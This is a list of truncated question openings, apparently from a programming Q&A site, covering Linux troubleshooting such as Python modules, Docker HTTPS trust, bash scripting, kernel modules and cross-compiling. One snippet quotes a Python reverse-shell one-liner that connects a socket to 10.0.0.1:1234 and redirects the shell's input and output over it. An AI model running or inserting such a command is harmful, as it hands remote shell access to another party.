I installed opencv and numpy using pip on debian 11.2 with python 3.9. In visual studio the modules aren't available and terminal returns: Traceback (most recen
Given a simple Dockerfile that installs from something from the net, I'm trying to work out an elegant way to allow the build process to trust HTTPS endpoints w
I was able to build and run substrate-node-template from the instructions from the cloned repo, following the instructions at https://substrate.dev/docs/en/tuto
I'm trying to learn to bash scripting and I tried to use variables and arguments, etc. to specify a complex output file name to a ffmpeg command as follows : fo
I am experiencing some weird problems that I'm not sure how to solve. I am using CodeDeploy to deploy my applications to an AWS EC2 instance,
wsl -h shows the following: --exec, -e <CommandLine> Execute the specified command without using the default Linux shell. -- Pass the remainin
Consider: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(
I want to allocate physical page frames using alloc_pages() in C. I have tried that in kernel module in it works fine. I want to make the code running in user s
We use opnerp (odoo) on a linux server (debian), I want to locate the python interpreter used by the odoo daemon, So the question is how I can change the path t
I've been working on a Makefile but having two issues. The application directory contains autotools files for a Yocto build but for development I'd like to do b
I've been trying a lot of lineinfile and replace examples but i can't get it to work. I have the following lines: deb-src http://httpredir.debian.org/debian b
I saw a previous post on StackOverflow related to my question. I tried to handle this connection problem by entering sudo nano /etc/clickhouse-server/config.xml
I've 'googled' and 'stackoverflowed' so much but I haven't found a solution for my problem. I'm on Ubuntu and try for the first time git. I did: sudo apt-get
I just switched to java 11 (AdaptOpenJDK) so that my java Swing application looks ok on high dpi displays at different system scaling settings. It works ok on
When I tried to install Rust on my Linux machine this error appeared:error: could not amend shell profile: '/home/$Username/.profile': could not write rcfile fi
Using a bash script, I want to choose a random number from such a list: [0, X, 2X, 3X, 4X, ..., Y] where Y=k*X and k is an integer. X and Y are just some input
Although I am the owner (pi) of the directory, still permission is denied pi@raspberrypi:~/Desktop $ sudo ls -al total 16 d-wx--x--x 3 pi pi
I am trying to build a set of Linux kernel modules with multiple source files: obj-m += mst_pciconf.o mst_pci.o mst-objs += nnt_device.o nnt_dma.o nnt_pci_conf_
Can someone please suggest how can I retrieve linux time using struct timespec ts type? It just gives me time since Epoch. Can I get the actual Linux tim
I'm trying to cross-compile a simple C program to aarch64 (arm64) from a 64bit Ubuntu Linux. Can someone please help me why i'm getting this error. It says 'cpu